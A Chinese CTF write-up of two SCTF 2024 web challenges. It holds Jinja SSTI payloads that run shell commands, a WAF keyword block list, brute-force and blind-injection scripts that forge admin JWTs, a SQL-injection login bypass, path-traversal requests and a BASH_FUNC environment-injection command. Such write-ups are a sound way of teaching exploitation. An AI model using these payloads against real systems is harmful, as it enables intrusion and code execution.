2024SCTF

好多没复现 水一下罢了 比赛的时候就做出了两道题

哭(QAQ)

ezRender

在admin路由 存在ssti注入

image-20241010103221815

但是这里要过一个waf和一个身份验证

先来看waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
evilcode=[
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app"]
whiteList=[]
def waf(s):
s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
if not s.isascii():
return False
else:
for key in evilcode:
if key in s:
print(key)
return True
return False

前面的waf还是很简单的

1
{{x.__init__.__globals__.__builtins__.__import__('OS'.lower()).popen('calc').read()}}

这里的权限验证吧我卡住了

/dev/random

这个是一个硬件伪随机数,它会收集系统环境中各种数据,比如:鼠标的移动,键盘的输入, 终端的连接以及断开,音视频的播放,系统中断,内存 CPU 的使用等等

生成器把收集到的各种环境数据放入一个池子 ( 熵池 ) 中,然后将这些数据进行去偏、漂白,主要目的也是使得数据更加无序,更加难以猜测或者预料得到

有了大量的环境数据之后,每次获取随机数时,从池子中读取指定的字节序列,这些字节序列就是生成器生成的随机数

但是这个池子不是无限大的 还是存在上限的

在 Linux上,可以通过下面的命令查看当前系统主熵池大小, 单位是 二进制位的数量

1
cat /proc/sys/kernel/random/poolsize

比如我kali的就是256

image-20241010105214065

当到达这个上限的时候 就会用光熵,它就不会生成随机数了。

和这个关系不大 比赛的时候学到的

ulimit

ulimit 是一个用于资源管理的工具

题目里面提示设置了ulimit的限制 限制可以同时打开的文件数为 2048:

1
ulimit -n 2048

意味着 这个进程里面只能启动2048个读取文件的句柄 超出这个之后 进程就不能创建文件句柄

这里的密钥是时间戳加上这个随机数

image-20241010111639214

每一个读取之后 句柄没有被释放 而是被储存到了self.handle里面 被丢到了user{}这个里面储存起来

image-20241010111847645

当这里的句柄被占满 打到2048的时候 就不能读取随机数 变成了单纯由时间戳加密的jwt

写个脚本开爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import time
import json
import base64
import jwt
from datetime import datetime

url = "http://1.95.87.193:35371/"
i = 0
cookie ="eyJuYW1lIjogImFzZDIwNDQiLCAic2VjcmV0IjogImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUoxYzJWeWJtRnRaU0k2SW1GelpESXdORFFpTENKcGMxOWhaRzFwYmlJNklqRWlmUS5hY3diS3RxSlZCY1JYRmYtbHg1ZzZLQ2JYV1ZIWkFDeWxwdmUyWWhnR2xZIn0="
while True:

try:
i += 1
print("[+] 第" + str(i) + " 次请求")
json_data = {"username": "asd" + str(i), "password": "hello"}
print(requests.post(url + "register", json=json_data).text)
key = str(time.time())[0:10] # 取前10位
print(key)
# 执行登录请求
print("[+]login")
login = requests.post(url + "login", json=json_data)
print("[+]session")
session = json.loads(base64.b64decode(login.cookies['Token']))
sec = session["secret"]
print("[+]尝试解jwt")
test = jwt.decode(sec, key, algorithms=['HS256'])
print(test)
print(jwt.encode(test, key, algorithm='HS256'))
final = {"username": "asd" + str(i), "is_admin": "1"}
way = jwt.encode(final, key, algorithm='HS256')
print(way)
flag = {"name": "asd" + str(i), "secret": way}
print(base64.b64encode(json.dumps(flag).encode()).decode())
cookie=base64.b64encode(json.dumps(flag).encode()).decode()
try:
req=requests.post(url + "admin",cookies={"Token":cookie})
print(req.text)
if "hacker" not in req.text:
print(f"[*] 爆破成功,cookies 为:"+cookie)
except Exception as e:
print(f"[-] 登录失败: {e}")
break
except Exception as e:
print(f"[-] 第 {i} 次爆破失败: {e}")
continue


# eyJuYW1lIjogImFzZDIwNDUiLCAic2VjcmV0IjogImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUoxYzJWeWJtRnRaU0k2SW1GelpESXdORFVpTENKcGMxOWhaRzFwYmlJNklqRWlmUS5RZWc2NXJydlFXR1lXVGh1YUR6TTNWcXhwWkI3d2xMTHNyb3k2OFM3WHRjIn0=

当时跑的截图没了 就不复述了

成功得到cookie的时候 能访问admin 但是访问什么都是500 这里是这道题目的一个坑点

image-20241010112215801

这里 直接get请求的时候 会尝试渲染admin这个文件 但是由于这个时候句柄已经满了 所以不能成功的获取 导致500爆掉

同时由于句柄满了 这里虽然把内建函数干掉了 我们可以import新的进来 但是import也是一个读取操作 会导致这里无法成功

1
del __builtins__.__dict__['eval']

注意到存在路由

image-20241010112431861

删除用户释放句柄即可

1
2
3
4
print("-----开始删除--------")
for ii in range(200,1000):
req=requests.post(url+"removeUser",data={"username":"asd"+str(ii)},cookies={"Token":cookie})
print(req.text)

image-20240929133456959

然后就是常规的ssti注入 这里不出网 可以选择污染static 把./reradflag的定向到tmp目录下读取

1
2
{{x.__init__.__globals__.__getitem__('__builtins__').__getitem__('ex''ec')(\"setattr(__import__('sys').modules.__getitem__('__main__').__dict__.__getitem__('APP'.lower()),'_static_folder','/')\")}}
{{g.pop.__globals__.__builtins__.__import__('OS'.lower()).popen('/readflag 2>&1 1>/tmp/res.txt').read()}}

也可以打时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#爆破flag
adminToken = "eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLlVrZ3NuOUc0N1VWTFZpSHZYNkJQQ0FVNEVEcl84UElOSGEtWHRRNWdwRmMifQ=="
f = 'SCTF{'
def get_flag(url, cmd): # 盲注函数
try:
base64_cmd = base64.b64encode(cmd.encode()).decode()
# print(base64_cmd)
payload = "{{g.pop.__globals__.__builtins__.__import__('OS'.lower()).popen(g.pop.__globals__.__builtins__.__import__('base64').b64decode('"+base64_cmd+"').decode()).read()}}"
# print(payload)
r = requests.post(f"{url}/admin", data={"code":payload}, cookies={"Token": adminToken},timeout=1.5)
# print(r.text)
except:
return True
return False

a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?{\} _-!@#$%^&*()_+[]"
# a = 'sS'
for i in range(1,50):
for j in a:
cmd=f'cat /tmp/flag|grep ^{f+j}&&sleep 2'
if(get_flag(url,cmd)):
print(cmd)
f = f + j
break

image-20241010122419097

SycServer2.0

/config路由存在rsa公钥

1
{"publicKey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----"}

发现/robots.txt路由存在一个读取文件的店

主页面存在sql注入 我们使用万能密码登录 但是这里前端存在waf 用public rsa公钥绕过

image-20241010122738864

成功拿到cookies

image-20241010122753796

image-20241010122804718

访问那个图片接口 存在任意文件读取

image-20241010122822436

有过滤../ 双写过一下

image-20241010122853749

gpt看了一下 gzip加密的字符串

1
2
3
4
5
6
7
8
9
10
11
12
import base64
import gzip
import io

encoded_data = "H4sIAAAAAAAAA4VTbY7bIBT871PkAKnwR5JN5gzJjyoHWBGbJmgxeCGO8Z6+ejx3N61drfT0NAMzAzbgnbsjIkcOT1Bwv2grLjLcskaq1llEFCgwEdEHL8JFPyFhnXFXbTMajShRIs0vi8IYEFGhAiHRqMeiyNaI2GC33VYbJCr+hAqi2VW2ipK22OVgknKe4F+RraTN7VCUICge0ota1jclEp3pTYeIF7zAdCwOnXNGmK5ZDNcGEXvskWAyMJpprRpo3wcckOBTOPOZo+9r2kyRUyXy5GE+83TexZFMFRWz/5zIMAw/GnmXdCwV1edAWmYYhqWzlvVbT7uqNlQTTQbGSx9idKALV+2pTlIbba+row731UlaeVWeA5Js7tae7kR1oNK+biB8bwWjmfhVdrTUppyuEIR1VkUd7souhVt3cQ39MJZznwa/tTYqHU+ec4O4uVaJNP71mtoxvBvWochLnMbzz+PqrPxD+fV6/c8qZPslTVDZQ9qPkX0FtymfJ/hF3LLfTTadDs0DAAA="

decoded_data = base64.b64decode(encoded_data)


with gzip.GzipFile(fileobj=io.BytesIO(decoded_data)) as f:
decompressed_data = f.read()
print(decompressed_data.decode('utf-8'))

image-20241010122917707

但是我们没有权限读取flag 只能读取源码看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];

if (!token) {
return res.status(403).json({ message: 'No token provided' });
}

jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}

if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}

req.user = decoded;
next();
});
}

app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});

var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};

app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;

try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;

file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');

if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}

const filePath = path.join(__dirname, rootpath + "/" + file);

if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}

zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});

app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

同时把child_process hook掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');

new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);

/report存在原型链污染 这里可以用原型链子污染 给spawn传入更多的东西 也能带其他的属性到环境变量里面

第0个参数是command 第一个参数是[] 注入第二个参数

image-20241010123059878

注意到 spawn有一个shell参数

image-20241010123128077

指定shell 为bash 就会报错用的是bash -c

image-20241010123201698

污染全局环境变量即可

1
$'BASH_FUNC_ewhoami%%=() { /readflag; }' bash -c 'whoami'

其他的没看了 拉到